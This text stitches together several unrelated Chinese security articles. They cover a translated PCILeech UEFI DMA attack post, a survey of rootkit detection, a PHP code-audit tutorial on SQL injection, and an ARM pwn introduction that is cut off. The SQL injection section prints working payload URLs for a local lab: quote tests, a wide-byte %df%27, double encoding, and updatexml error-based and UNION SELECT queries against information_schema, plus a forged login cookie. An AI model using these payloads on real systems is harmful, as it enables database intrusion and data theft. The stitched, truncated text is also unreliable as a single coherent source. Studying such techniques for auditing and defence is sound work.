# 【技术分享】基于PCILeech的UEFI DMA攻击
|
##### 译文声明
本文是翻译文章，文章来源：frizk.net
原文地址：<http://blog.frizk.net/2017/08/attacking-uefi.html>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[興趣使然的小胃](http://bobao.360.cn/member/contribute?uid=2819002922)
预估稿费：120RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**一、前言**
****
与[mac](http://blog.frizk.net/2016/12/filevault-password-retrieval.html)不同的是，许多PC会受到针对UEFI的预启动 **直接内存访问** （Direct Memory Access，
**DMA** ）攻击的影响。如果成功攻击配置了安全启动选项的系统，那么计算机的信任链就会被破坏，安全启动选项也会变得形同虚设。
如果在操作系统启动之前，攻击者已经获得代码执行权限，那么攻击者就有可能进一步攻破尚未加载的操作系统。比如，利用这种方式，攻击者可能攻破启用设备保护（
**Device Guard** ）以及基于虚拟化的安全特性（Virtualization Based Security，VBS）的Windows
10系统。[Dmytro
Oleksiuk](https://twitter.com/d_olex/status/898365202936119296)在这一领域已经开展了相关研究。
本文将重点介绍利用DMA来攻击UEFI的具体方法，不会拓展介绍如何进一步攻破操作系统。
**二、什么是UEFI**
****
UEFI的全称为 **Unified Extensible Firmware Interface**
（统一的扩展固件接口）。在操作系统启动之前，UEFI固件就会在计算机上运行。UEFI负责检测操作系统启动所需的内存、磁盘以及其他硬件。UEFI本身就是一个小型的操作系统。有时候，人们也会把UEFI称之为BIOS。
**三、攻击目标**
****
我们在6月份购买了一台使用“Kaby Lake” i3处理器的全新的Intel NUC主机。这台主机拥有8G内存，搭载了具备安全启动（Secure
Boot）功能的Win10 1703系统，同时也启动了Bitlocker+TPM、基于虚拟化的安全（VBS）设备保护（Device
Guard）功能。BIOS版本为BNKBL357.86A.0036.2017.0105.1112。我们可以通过内部M.2插槽实现DMA访问。
我们的实验目标还有另一台主机，这是一台较老的联想T430笔记本，拥有8G内存，搭载了具备安全启动的Win10
1703系统，同时也开启了Bitlocker+TPM、基于虚拟化的安全（VBS）设备保护（Device
Guard）功能。我们可以通过ExpressCard插槽实现DMA访问。
**
**
**四、问题根源**
****
最根本的问题在于，许多UEFI仍然没有实现对DMA攻击的防护，尽管多年以来，能够防护此类攻击的硬件（VT-d/IOMMU）已经集成到所有CPU中。如下图所示，[PCILeech](https://github.com/ufrisk/pcileech)尝试通过DMA来搜寻目标主机的内存，寻找UEFI的hook点。一旦找到突破口，PCILeech就能导出内存（如下图所示），进一步执行其他攻击行为，比如无视安全启动功能来执行任意代码。
**五、攻击过程**
****
如果主机允许DMA访问，那么攻击者就能找到正确的内存结构，通过覆盖这些内存结构，实现对计算机的完全控制。PCILeech可以自动完成这个过程。我们可以在内存中搜索EFI系统表（System
Table）“IBI
SYST”的地址，当然把这个任务直接交给PCILeech会更加简单。EFI系统表中包含EFI启动服务表“BOOTSERV”的具体地址，这个表中包含许多有价值的函数指针。我们的攻击植入模块可以调用或hook这些启动服务函数。
如下图所示，我们成功hook了启动服务函数SignalEvent()。一旦我们插入了用于UEFI的PCILeech“内核（kernel）”模块，我们就可能像利用普通的PCILeech内核模块那样，利用该模块来导出内存以及执行代码。在下图中，PCILeech
UEFI植入模块uefi_textout被多次调用。输出结果会显示在受害者计算机屏幕中。
一旦攻击完成，我们可以向PCILeech发送kmdexit命令，卸载UEFI植入模块。在这种情况下，Windows的启动过程如下图所示。如果攻击目标是已加载的操作系统，我们最好hook
ExitBootServices()这个函数，当操作系统从UEFI处接管计算机的控制权时，基于EFI的操作系统加载程序就会调用这个函数。此时，恶意代码就可以修改操作系统加载程序。
**六、动手尝试**
****
个人可以亲自动手复现这个实验过程吗？答案是肯定的。实验代码已作为[PCILeech直接内存访问攻击工具包](https://github.com/ufrisk/pcileech)的一部分，在Github上开源。
**七、总结**
****
基于PCILeech的UEFI DMA攻击方法已经公布于众，整个攻击过程执行起来也不会特别麻烦。实现对UEFI的DMA攻击再也不是一个虚无缥缈的理论。
请确保在BIOS中启用VT-d以防护DMA攻击。
攻击者可借此进一步突破操作系统，因为如果UEFI存在漏洞，那么依赖基于虚拟化的安全已经不再是一件可靠的事情。 | 社区文章 |
**作者：深信服千里目安全实验室**
**相关阅读：
1、[【Rootkit 系列研究】序章：悬顶的达摩克利斯之剑](https://paper.seebug.org/1867/ "【Rootkit
系列研究】序章：悬顶的达摩克利斯之剑")
2、[【Rootkit 系列研究】Windows平台的高隐匿、高持久化威胁](https://paper.seebug.org/1868/
"【Rootkit 系列研究】Windows平台的高隐匿、高持久化威胁")
3、[【Rootkit 系列研究】Linux平台的高隐匿、高持久化威胁](https://paper.seebug.org/1870/
"【Rootkit系列研究】Linux平台的高隐匿、高持久化威胁")
4、[【Rootkit 系列研究】Rootkit检测技术发展现状](https://paper.seebug.org/1871/
"【Rootkit系列研究】Rootkit检测技术发展现状")
5、[【Rootkit 系列研究】Windows平台的高隐匿、高持久化威胁（二）](https://paper.seebug.org/1872/
"【Rootkit 系列研究】Windows平台的高隐匿、高持久化威胁（二）")**
## 摘要
Rootkit这一概念最早出现于上个世纪九十年代初期，CERT Coordination
Center(CERT/CC)于1994年在CA-1994-01这篇安全咨询报告中使用了Rootkit这个词汇。在这之后Rootkit技术发展迅速，这种快速发展的态势在2000年达到了顶峰。2000年后，Rootkit技术的发展也进入了低潮期，但是对于Rootkit技术的研究却并未停滞。在APT攻击日益流行的趋势下，Rootkit攻击和检测技术也同样会迎来新的发展高潮。
在往期的Rootkit系列文章里面，我们分别介绍了Rootkit技术的发展历程和Windows、Linux平台下的Rootkit攻击技术。本期Rootkit系列文章将会给大家介绍当前主流的Rootkit防御技术以及一些非常规Rootkit的可实施检测方案。
## 被滥用的Rootkit技术
长期以来，Rootkit检测一直是一个非常大的痛点，这些具有高度定制化的恶意程序集合隐藏在服务器上，以高权限访问计算机和网络。虽然Rootkit并没有成为大新闻中的主角，但是它们一直都过得很安逸，并且持续性的造成损害。对于安全从业者而言，这不应该是一个被忽视的地方。
APT通常和Rootkit齐头并进。从西方 APT 组织的攻击历史及已经泄露的网络武器看，高隐匿、高持久化(Low&Slow)是其关键特征，而
Rootkit 则是达成此目的的重要技术之一，因此Rootkit一直以来和APT配合的很好。
让人遗憾的是，几乎任何脚本小子都可以轻易在被攻击成功的目标主机上植入Rootkit。比起这个，更让人痛心的是，一些挖矿木马和广告木马都开始使用Rootkit技术了，黑产都卷成这个样子了吗？H2Miner挖矿家族开始使用新的Rootkit样本，该Rootkit使用LD_PRELOAD技术劫持动态链接过程。LD_PRELOAD是一个非常古老的C库技巧，但它今天仍然被成功使用和滥用。
## 当前主流Rootkit检测技术分析
当前主要的Rootkit检测的方法包括但不限于以下几种类型。
**1\. 基于Rootkit运行的效果进行检测**
例如: 发现隐藏的端口、进程、内核模块、网络连接、被篡改的内核代码。
缺陷: 该检测方案对预设的检测场景的依赖程度较高，一旦恶意软件出现检测场景之外的行为，则难以做到有效检测。
**2\. 静态文件特征检测**
例如: 扫描磁盘上的文件，将文件与特征库进行匹配，通过该方式检测可能存在的Rootkit。
缺陷: 该检测方案对特征库依赖程度较高，能够有效发现已知特征的Rootkit，难以发现未知特征的Rootkit。
**3\. 动态行为分析检测**
例如: 对系统运行过程中的行为进行审计，通过行为规则匹配的方式发现系统中的异常行为，通过该方式发现可能存在的Rootkit。
缺陷: 对行为规则的依赖程度较高，只能匹配已知行为特征的Rootkit，难以匹配未知行为特征的Rootkit。
**4\. 数据完整性检测**
例如: 对系统关键的数据结构进行监控，通过监控关键数据结构的异常篡改，以发现系统中的恶意行为。
缺陷: 完整性检测依赖于受信任的源数据，如果源数据被篡改或者不可信的情况下，则完整性检测也很难奏效。
当前的开源社区的Rootkit检测技术 **主要以Rootkit运行效果检测和静态文件特征检测为主**
，动态行为分析和数据完整性保护的Rootkit检测项目相对较少。
## 当前主流Rootkit检测项目分析
**Chkrootkit:**
检测/proc/kallsyms的内容并匹配相对应的文件名和目录来检测是否存在Rootkit，通过该方式，chkrootkit能够在一定程度上发现Rootkit执行的恶意行为，诸如文件隐藏，网络连接隐藏，进程信息隐藏。但是该检测方案对Rootkit指纹库依赖度较高，并且严重依赖于/proc/目录下的文件，一旦该文件不可信任，则很容易被绕过。
**Rkhunter:**
这个Rootkit检测工具会扫描相应的文件目录、文件、符号表，通过该方式检测是否存在Rootkit恶意家族。同样的，该检测方案对特征库的依赖度较高，且难以发现指纹没有覆盖到的Rootkit。
**Kjackal:**
该Rootkit检测工具通过遍历内核中的系统调用表syscall_table，注意检查例程的入口是否存在内核空间，如果不存在，就意味着发生了syscall劫持。发现了存在syscall_table的劫持之后，该工具会进行反向追踪，以确定劫持系统调用的是哪一个恶意LKM模块。Kjackal会枚举/proc/net/tcp的读写句柄是否存在于内核态中，如果不存在，则发生了劫持。该工具还会枚举modules
kset以检测隐藏的内核模块。该检测方案也同样存在被绕过的可能性，一旦Rootkit通过删除kobject数据结构的方式隐藏Rootkit，那么这将很难检测，不过这种删除kobject数据结构的方式也同样会影响Rootkit正常使用。
**Tyton:**
该项目检测Rootkit的方式和kjackal非常相似，通过枚举内核空间的module_list，中断向量表、网络连接读写句柄、系统调用表、netfilter
hook等方式发现可能存在的Rootkit，发现Rootkit之后，通过get_module_from_addr函数反向溯源恶意的内核模块。
**Elkeid:**
该项目是字节跳动的一个开源的HIDS项目，该hids检测Rootkit的方式继承的tyton的检测方案。除了这个之外，elkeid还在行为检测方面做出了突破，
**使用kprobe**
对关键的系统调用进行hook，持续监控系统运行过程中的进程行为，网络行为、文件行为等相关信息并保存到日志中，再使用字节跳动于近期开源的Elkeid
Hub的行为日志检测引擎和规则集，能够对系统运行过程中的日志进行自动化分析，以发现可能存在的未知威胁。不得不说这是一个非常勇敢的突破，业界普遍都对kprobe持保留态度，敢于直接上车的并不多见。不过这种日志采集方式也存在一个缺陷，一旦攻击者控制了/sys/kernel/debug/kprobes/enabled文件，就可以使这种日志采集功能失效。再补充一句，该项目更新频率较高，并且社区支持非常友好。
**stmichael-lkm:** 该项目能够为内核提供一定的完整性保护，能够在一定程度上发现 **针对内核的篡改**
，通过这种方式发现可能存在的Rootkit。一旦检测到Rootkit篡改内核，StMichael尝试通过将所做的更改回滚到先前已知的良好状态来恢复内核的完整性。不得不说这是一个非常大胆的尝试，比使用kprobe更加激进，这种方案的致命缺陷就是很容易为系统引入未知的问题，导致系统的不稳定。
**Qiling:**
该项目是一个高级二进制仿真框架，能够模拟多平台，多架构的运行环境，通过类似于沙箱的环境运行Rootkit，并且记录Rootkit运行过程中的行为。这为恶意Rootkit的检测和分析提供了一种全新的思路。传统沙箱对恶意软件的检测很难达到这种细粒度的监控效果。
## 非常规Rootkit以及检测方案
#### 使用了命名空间技术的HorsePILL
在讲述该Rootkit之前，有必要简单介绍一下命名空间的含义。命名空间是Linux的一个非常重要的系统特性，Linux的命名空间机制提供了一种资源隔离的解决方案。PID,IPC,Network等系统资源不再是全局性的，而是属于特定的Namespace，不同命名空间的资源是
**互相隔离** 的，在一个命名空间所做的事情不会影响另一个命名空间。各命名空间在Linux的引入版本如下:
由于命名空间的隔离特性，这给恶意文件的隐藏提供了新的思路。将恶意文件和恶意文件运行过程中的进程、网络置于一个 **与系统不同命名空间的环境中**
，可以非常有效的隐藏自身，在一定程度上来说，难以发现。
HorsePILL这个Rootkit就利用了这种命名空间的特性，该Rootkit会感染系统的initramfs，被感染的系统在启动过程中加载initramfs就会执行Rootkit的恶意代码。恶意代码执行之后，会将整个系统置于一个新创建的子命名空间之中，而恶意代码本身运行于更上级的命名空间。这种Rootkit隐藏方式可谓是别具一格，对系统的性能影响可以说忽略不计。是一个非常棒的Rootkit，美中不足的是该Rootkit需要重启系统才能够执行其恶意代码。
这种Rootkit也是有非常有效的运行时检测方案，首先，该Rootkit需要感染initramfs，基于这一点可以修改grub，给grub新增一个
**启动过程中校验initramfs和vmlinuz文件完整性**
的功能，避免启动不受信任的系统。当系统不幸感染了这种基于命名空间的Rootkit，整个系统用户空间的数据已经不在可信的情况下，可以
**从内核态中测绘各个命名空间的信息** ，并且从中发现异常的命名空间数据。
感染horsepill，攻击者拿到了设备的shell，攻击者视角下真实的1号进程的命名空间数据如下:
感染horsepill之后设备管理员视角下，可以非常直观的看到命名空间信息已经出现了异常，而这种异常信息通常是被人忽略的。
对于这种Rootkit，受害主机运行时可以通过命名空间测绘的方式发现Rootkit的存在。
#### 使用kprobe技术的Rootkit
在上文中讲Elkeid的时候提到了kprobe这个机制，这个机制可以用来采集系统的行为信息，当然也可以用来编写Rootkit。Kprobe、jprobe以及kretprobe可以在内核符号的函数序言和函数尾声插桩，一旦内核符号注册了kprobe，就会修改函数序言，被修改的函数序言会执行一个跳转指令，跳转到一个新的内核符号trace_spurious_interrupt，然后由trace机制跳转到中断处理函数，中断处理函数再调用kprobe的回调函数，使用kprobe技术可以
**篡改部分内核符号的入参和返回值** ，这能够非常容易的达到隐藏恶意程序相关信息的目的，并且这种Rootkit隐蔽性也同样很强。
这类Rootkit的检测方法也是同样不同于前面的方案的。最简单的判断方法就是查看/sys/kernel/debug/kprobes/list这个文件的内容。
但是该方案有一个非常致命的缺陷，系统感染了kprobe的Rootkit之后，/sys/kernel/debug/kprobes/list文件的内容已经是不可信的了，因此需要从其他途径获取Rootkit检测的线索。
内核中有这么一个数据结构kprobe_table，该数据结构维护了所有注册的kprobe的表，遍历这张表，可以发现感染这类Rootkit的kprobe数据结构。
内核符号在vmlinuz、挂载kprobe之前和挂载kprobe之后其数据都是存在非常明显的差异性的。例如:
内核符号SyS_ptrace经过kprobe挂载前后的内存数据对比如下图:
左边是挂载kprobe之后的内存数据，右边是挂载kprobe之前的内存数据，根据两者对比，可以发现前4个字节存在差异。同样也是这个内核符号，在/boot/vmlinuz文件中的二进制数据也和上面两者不同，相关数据如下图所示:
其差异同样体现在符号的前4个字节。这三者之间的差异主要由两方面因素所导致。首先是
**vmlinuz加载到内存时，会动态的修改其代码内容，这种修改主要通过.altinstructions这个段中的数据完成的。**
加载到内存之后，再对其挂载kprobe，修改的同样是前4个字节，将这部分差异性较强的代码进行反汇编，可以得出其汇编代码。
**Vmlinuz：**
**Before kprobe:**
**After kprobe:**
反汇编这部分数据，可以看到其具体的操作码也有较强差异。首先，符号SyS_ptrace的内存地址为0xffffffff8108a1b0，挂载kprobe之后，其执行的第一个指令为call
0x5bd300。因此可以计算，其跳转地址为:'0xffffffff816474b0'。查询该地址对应的符号如下:
根据上述分析内容，kprobe Rootkit会在执行过程中修改内核符号的函数序言，因此要检测这种类型的Rootkit，还可以对
**运行时的内核代码进行完整性检测。**
#### 基于ebpf的rootkit
基于bpf的Rootkit并不是什么新鲜事物，bpf技术于1993年就被提出，bpf的指令集并非是一种图灵完全的指令集，因此使用bpf指令开发Rootkit似乎是一种天方夜谭。但是APT组织Equation
Group做到了，在shadow brokers于2016年公开方程式的工具包中，有这么一个不太引人瞩目的Rootkit
DewDrops。这么长时间以来，大多数人眼里看到的可能只有永恒系列漏洞利用和doublepulsar后门，而对于其中的Dewdrops
Rootkit，却是很少有人关注。尽管他的知名度并不高，但并不影响我对这个Rootkit设计者的佩服。
但是DewDrops并非此次的主要内容，这一段的主角rootkit是ebpfkit，这个Rootkit于2021年在多个世界顶级安全会议上亮相。该Rootkit可以hook内核态函数，篡改内核态返回用户态缓冲区数据，达到用户态欺骗的目的。用户态进程拿到被篡改的数据，从而被骗通过认证。在此过程，不改变任何文件、进程、网络行为，不产生日志。
**常规HIDS、HIPS产品无法感知。**
eBPF还支持kprobe/kretprobe、uprobe/uretprobe、XDP、TC、socket、cgroup等程序类型，覆盖文件、网络、socket、syscall等事件，都是可以被黑客利用的地方。
面对这么复杂的威胁，从安全防御的视角，该怎样处理这种类型的威胁呢？这个Rootkit的作者给出了这么一份答卷(业界良心啊)。作者开源了针对这种Rootkit的检测工具ebpfkit-monitor。该工具可用于 **静态分析eBPF字节码** 或在 **运行时监控可疑的eBPF活动**
，尽管当前该检测工具仅仅针对ebpfkit，但是这无疑给研究基于ebpf技术的Rootkit检测工具的人提供了良好的思路。
## 结语
在攻防对抗愈加激烈的时代，在APT攻击逐渐进入大众视野的当下，Rootkit的攻防也将会愈加激烈，而安全从业者乃至安全企业，也需要重新审视一下，是否已经具备了针对未知威胁的检测能力，是否已经具备了针对新型攻击技术的检测防御能力。
## 参考资料
1.<https://github.com/Gui774ume/ebpfkit-monitor>
2.<https://github.com/Gui774ume/ebpfkit>
3.<https://github.com/qilingframework/qiling>
4.<https://defcon.org/html/defcon-29/dc-29-speakers.html#fournier>
5.<https://github.com/bytedance/Elkeid>
6.<https://github.com/bytedance/Elkeid-HUB>
7.<https://github.com/qilingframework/qiling>
8.<https://www.cnxct.com/container-escape-in-linux-kernel-space-by-ebpf/>
9.<https://reverse.put.as/2021/12/17/knock-knock-whos-there/>
* * * | 社区文章 |
# 论代码审计中的SQL注入和预编译中的SQL注入
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
本文围绕代码审计中的SQL注入进行讲解，以下是几种常见的注入类型：
1. 联合查询注入
2. 布尔盲注
3. 延时注入
4. 报错注入
以上是我们列出的SQL注入的类型，我们主要探讨的主题是SQL注入与预编译中的SQL注入，疑问来了“预编译可能存在SQL注入？好像不存在SQL吧！”，我们继续来看看吧！
本文中的程序是我自己开发的一套不成熟未完成的一个简单的框架
上图是框架的结构图，框架核心文件在./OW/Lib/Core目录下，还是和普通的程序一样，我们这个框架的应用程序在application目录，我们进入到Controller目录下看看
这个目录下只有一个indexController.class.php文件，我们就来看一下这个文件中的代码：
因为这里涉及到了框架中的东西，所以普及一下框架中的审计方法，一个框架中涉及到的东西不是类就是函数，反正就是这两个用得频繁的，这里我们简要的概述下函数回溯，很明显函数回溯这玩意说白了就是一个逆向追踪的过程，根据遇到的函数进行函数的定位，定位到某函数后，读这个函数的功能，当然某些函数可以以它的命名就能看出功能，比如上图中的函数input()就可以从字面意思理解为输入，那么我们就可以理解为这个函数可以接收外部所传入的参数无论是get、post还是cookie都可以接收，这个M()函数可以从框架的角度来看，因为框架都是遵从M(model|模型)V(view|视图)C(controller|控制器)，所以这个M函数是获取某个模型的函数，再比如$this->templet这个，从我们的角度来看就是一个成员属性，说白了其实就是类中的变量，但是这个变量还可以调用函数可见它并非只是一个变量或者字符，更可以说明这个成员属性的类型是一个object，当我们无法确定这到底是变量或者数组的时候可以用var_dump()系统函数或者用框架中的dump()函数打印出来，我们来看看
可以看到有一个object关键字，说明这是一个对象，当然或许有人会问“框架中的dump和系统中的var_dump函数不一样吗？”当然是一样的，我们重定义一些函数或许是为了美化输出或许是为了安全考虑，所以需要重新定义，好了，我们言归正传还是回到刚才的代码中
我们一行一行的看着走，这里所说的一行一行的看着走并非是从文件的第一行读到最后，因为是框架，所以我们要读取的代码是以函数为单位进行的，从Index()函数看着走，12-18行
首先可以看到调用了input()函数并将该函数的返回值赋值给了变量id，前面已经说了我们可以从函数的字面意思来进行理解该函数的作用，这个函数就是用来接收用户输入的参数，我们跟进一下，因为框架中载入了Global.fun.php文件，这是一个全局函数文件，这里看到的input函数就在其中
我们分析一下这个函数，进入函数后，首先将$result、$method、$key、$rex这四个变量赋值为false，接着将$input以.分割为数组，将分割出来的数组传入count函数中再判断这个数组中的元素是否有两个，如果有两个的情况下那么使用list函数将以点分割的$input数组分别赋值给$method、$key，如果不满足判断条件则直接将$input赋值给$key，接着再将$key以空格分割为数组并且分别赋值给$key、$rex，这里$rex的作用是过滤指定的某些字符，接下来判断$rex是否存在，不存在那么将$rex默认赋值为/w，再次判断$method是否存在，不存在默认赋值为get，接下来在30-50行中定义了一个匿名函数，匿名函数其实挺方便的，很实用，我们接着来分析这个匿名函数吧！这个匿名函数中有两个形参，分别为$value,$rex
进入函数后首先赋值$result为false，随后进入switch判断语句中，当$rex为/d的时候将$value中除数字之外的字符全部替换为空，当$rex为/s的时候将$value中除0-9A-Za-z_之外的字符替换为空，当$rex为/c的时候，直接将$value赋值给$result，如果$rex无值的情况下那么直接将$value除0-9A-Za-z之外的字符替换为空，最后匿名函数返回$result，继续往下分析
下边又定义了一个匿名函数，这个函数的作用是判断$_GET,$_COOKIE,$_POST中传入的键是否存在，存在那么就不用赋值为默认值了，不存在就赋值为默认值，还是分析一波吧！
函数定义的时候并定义了4个形参继承了上边的$filter匿名函数
进入这个函数首先判断$key这个数组中是否存在$method这个键，若不存在那么将$value,$rex传入到$filter匿名函数中，并将这个匿名函数的返回值赋值给$method[$key]中，若存在的情况下那么直接将$method[$key],$rex传入到$filter匿名函数中并将返回值赋值给$method[$key]我们接着往下分析
进入一个switch判断，当$method为get的时候将$_GET,$key,$value,$rex赋值到$by_value中，$method为post的时候将$_POST,$key,$value,$rex赋值到$by_value中，$method为cookie的时候将$_COOKIE$key,$value,$rex赋值到$by_value中，最后将$result返回，将这个函数分析完用了那么长的时间，其实用我们的理解就是将用户可以操作的外部参数进行过滤，好了，我们回到起点
经过上边的分析，这里我们可以看到/c是没有过滤的，所以这可能是注入的前奏，我们接着看看13行，这里可以看到这个函数名为M可以理解为Model，这个函数应该是实例化某个模型后返回一个对象，实际看看这个函数吧！
首先进入函数后定义了一个变量modeldir也就是模型目录，然后将变量modelfile赋值为拼接之后的model文件名，然后判断$modelfile这个文件是否存在，若存在就包含$modelfile这个文件，之后的这个定义或许你们会感到奇怪，其实这是因为框架中使用到了命名空间，所以需要以命名空间的形式来实例化这个对象，若不存在这个文件那么就抛出异常并且传入{$model}
file does not exist
字样，好了，这里我们可以将模型文件定义到./application/index/model/IndexModel.class.php
从控制器index中我们了解到它实例化了这个indexmodel类并且调用了index()函数，进入这个函数后首先判断$id中是否包含了,，若存在那么将$id以,分割为数组，若不存在那么直接将$id变化为数组，我们接着进入下一行可以看到这里有一个$this->link的成员属性，但是他可以调用函数，说明这是一个对象，但是在当前页面中并没有看到定义了成员属性link，我们可以看到第三行定义类的时候有一个关键字为extends的，这个类继承了命名空间\OW\Lib\Core中的Model类，我们跟踪到./OW/Lib/Core/Model.class.php
进入这个类中我们可以看到有一个构造函数，函数中调用了link方法，link方法中判断了数据库操作类是mysql还是mysqli，从而引入相对应数据库操作类，DATABASE这个常量是在./OW/Lib/Conf/site.conf.php文件中
这里可以看到database这个键的值为mysql，好了我们返回到indexModel.class.php中
这里调用了name函数，我们进入./OW/Lib/Core/Mysql_DB.class.php中的name方法
可以看到这个方法是用来定义表名的，随后类本身。然后调用了where方法，我们接着进入where方法看看
进入该方法后首先用func_get_args()函数获取传递到当前函数的参数并且赋值给变量$args，接着判断是否设置了$args[1]，若设置了那么进入这个判断体中，进入后首先删除掉$args[0]
随后定义一个名为$arg的空数组，在下边用foreach将数组$args中的键和值取出来，循环体中将\$args[{$key}]赋值到$arg数组的一个元素中，接着我们跳出循环，以,将数组$arg中的每一个元素连接成一个字符串，随后使用一个assert函数将格式化的字符串赋值给$where变量，再然后将我们传入的参数拼接到SQL语句中，并将SQL语句赋值给成员属性sql，若$where是数组的时候则进入该判断体中，进入判断体后定义$column、$in、$value并赋值为空，接着使用foreach循环将数组where中的键和值取出来，进入循环体中，判断键是否为字符串型数据，若是，那么将$col赋值给$column，接着判断$val是否等于IN或者NOT
IN，若等于这两个之一那么将$val赋值给$in，若不满足判断条件，那么我将$in赋值为IN，接着往下是判断了$val是否为数组，如果是数组那么就以,将$val中的元素连接成字符串，接着就跳出循环，将获取到的语句拼接到定义好的SQL语句中并赋值给成员属性sql，最后若不满足上述的条件那么就直接将$where拼接到定义好的SQL语句中并赋值给成员属性sql，最后返回当前类，看到这里，咱们的这个方法中几乎没有过滤，就只有那个格式化字符串有点过滤的意思，所以我们返回indexmodel中的index方法
最后这里调用了select方法，我们一起来看看select方法：
进入这个select方法后，首先判断是否设置了成员属性sql，若没有设置，那么我们直接将系统定义的sql语句赋值给成员属性sql，再返回类中的方法fetch，我们看看这个方法
进入这个函数后首先调用类中的方法Excepton，从这个的字面意思来看这是一个异常处理的函数，我们进入这个函数
进入函数后首先调用mysqli中的query函数查询sql语句，将返回值赋值给$result，接下来判断$result为空的时候抛出异常，并将执行的SQL语句以及mysql执行的错误信息和错误行数传入到这个异常处理类中，最后返回$result，我们回到fetch方法中
接着讲成员属性sql赋值给成员属性SQL，然后删除成员属性中的sql，order，limit变量，然后使用mysqli中的fetch_all方法将查询到的所有结果返回。代码分析到这里，我们可以很明显的看到indexmoel中的index方法存在SQL注入，因为从外到内过滤的东西只有那么一点点，最主要的是这个index控制器中的index方法获取值的时候使用的过滤方式不正确
这里我们来看看这个注入。。。。
访问：[http://localhost/?s=index/index/index/id/3’](http://localhost/?s=index/index/index/id/3%E2%80%99)
可以从它返回的信息看出来这是一个数字型的SQL注入，注入原因呢！是因为未按照正确的获取方式来接收外部数据导致的，我们将/c改为/d
这样就确确实实的将这个SQL注入给过滤掉了，接着我们往下看看字符型的sql注入，当然如果是字符型的注入的情况下并且程序自身有将危险字符转义的时候，那么必须满足先遣条件数据库编码为GBK，这样就存在一个款字节注入，我们将数据库编码改改
我们来看看我们的字符型的注入
这里呢！还是可以很明显的看到这里存在字符型并且是宽字节的注入，访问下
[http://localhost/?s=index/index/String/title/a%df%27](http://localhost/?s=index/index/String/title/a%25df%2527)
只不过现在在代码审计中很难在框架中看到宽字节注入，这里要修复的话直接用/s就好了
可以看到这个宽字节已经被我们给修复了，我们接着往下走，我们来看看验证登陆函数中的注入
我们来简单的分析一下这个函数的作用，首先进入函数中将外部获取到的logintoken并将base64字符串解码并且以制表符分割为数组并且用$uid、$password分别接收这个这个数组中的两个元素，然后将$uid传入到get_user这个模型函数中，可见这里对加密字符串很友好，几乎没有过滤，我们来看看get_user方法是否对$uid进行了过滤
可见都很有善，没有过滤我们构造下payload：
Cookie:logintoken=MScJNjU0ZHM2NWE=
其实这里验证登陆并非一定是一个SQL注入，当程序没有返回值没有错误信息返回的时候，不管是人乃至工具都不可能测试出SQL注入，所以我们大概的估计一个用户id，随后会将返回的users中的password和我们传入的password进行对比，所以这里还可以进行用户密码的爆破，并且还是无限制爆破，从这个案例我们得知不能对即将解密的加密字符串太过友善，否则反受其害。。。。
我们接着来
这里由于获取的参数id会传入url解码函数中，所以这也造成了一个注入，只需要对某一个字符或者字符串进行双重url编码即可
访问：[http://localhost/?s=index/index/articles/id/3%2527](http://localhost/?s=index/index/articles/id/3%252527)
这里的%25%27是双重编码来着，所以说浏览器请求的时候会将%27编码后的结果解码为%27，然后传入程序中程序再将这%27解析为单引号，所以造成了一些意料之外的漏洞。
我们再来看看预编译中的漏洞，为各位解答一下疑问，预编译这东西存在的SQL注入是由于开发者对于sql语句嵌入了用户所输入的值，预编译这东西只能将用户输入的传到数据中，比如id=?那么这个问号就是应该嵌入用户所输入的值，再来看看select
* from $table where
id=?那么这条语句呢就出现了一个致命的弱点，也就造成了SQL注入，那么这个$table就不会只将它当作数据来处理而是当作语句来处理，这是这个致命的关键，我们一起来看看
这里从外部分别获取了key和id，分别将这两个元素传入$where数组中，并传入模型data函数中，我们看看data函数
这里将传入的值预编译了，我们在这里看看最后执行的SQL语句，使用get_last_sql()函数进行查看
我们看看页面中的SQL语句
操作一下这个id看看有没有反应，访问：[http://localhost/?s=index/index/data&id=3%27](http://localhost/?s=index/index/data&id=3%2527)
当然在我们获取值的时候就已经将这玩意定义好了，我们改改吧！改成/c
我们再来访问看看
还是无法操作这个id，那么我们来看看这个key，访问：[http://localhost/?s=index/index/data&id=3%27&key=a](http://localhost/?s=index/index/data&id=3%2527&key=a)
可以看到用户所输入的值不应该用来嵌入到语句中，而是由开发者来定义这些字段等等的，好了，我们再来看看每一个注入点所适用的注入类型，比如这些注入都有返回值和错误信息
所以我们可以用两种最简单的形式来注入一下分别是报错注入和联合查询注入
报错注入：
这里我们使用updatexml函数进行报错注入
访问：[http://localhost/?s=index/index/data&id=3&key=id=3%20and%20(updatexml(1,concat(0x7e,(select%20user()),0x7e),1))%23](http://localhost/?s=index/index/data&id=3&key=id=3%2520and%2520\(updatexml\(1,concat\(0x7e,\(select%2520user\(\)\),0x7e\),1\)\)%2523)
[http://localhost/?s=index/index/data&id=3&key=id=3%20and%20(updatexml(1,concat(0x7e,(select%20table_name%20from%20information_schema.tables%20where%20table_schema=database()%20limit%200,1),0x7e),1))%23](http://localhost/?s=index/index/data&id=3&key=id=3%2520and%2520\(updatexml\(1,concat\(0x7e,\(select%2520table_name%2520from%2520information_schema.tables%2520where%2520table_schema=database\(\)%2520limit%25200,1\),0x7e\),1\)\)%2523)
这样依次改变limit中的值就好了
再来看看联合查询注入：
[http://localhost/?s=index/index/data&id=3&key=id=-3%20union%20select%201,group_concat(table_name),3,4,5,6,7,8,9,10,11%20from%20information_schema.tables%20where%20table_schema=database()%23](http://localhost/?s=index/index/data&id=3&key=id=-3%2520union%2520select%25201,group_concat\(table_name\),3,4,5,6,7,8,9,10,11%2520from%2520information_schema.tables%2520where%2520table_schema=database\(\)%2523)
好了，本篇文章就到此了，SQL注入是个奇妙的东西，出现的类型也不止上述中的注入，还有二次注入
关注本团队公众号，获取最新文章 | 社区文章 |
# ARM PWN 从 0 到 1
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：萝卜@星盟
## 寄存器
ARM处理器中一共有37个32寄存器，其中31个为通用寄存器、6个位状态寄存器。任何时候，通用寄存器（R0-R14）、PC、一个状态寄存器都是可以访问的。但是在不同的工作状态和工作模式，寄存器是否可以访问是不一样的。
> 状态寄存器就是保存了符号标志、零标志、溢出标志、进位标志等，和X86汇编寄存器中的一些寄存器的相似的
[](https://imgchr.com/i/YCaSv8)
R0-R12供程序数据使用，R13是栈指针（SP），R14为子程序链接寄存器（LR），通常存储函数的返回地址
## 指令
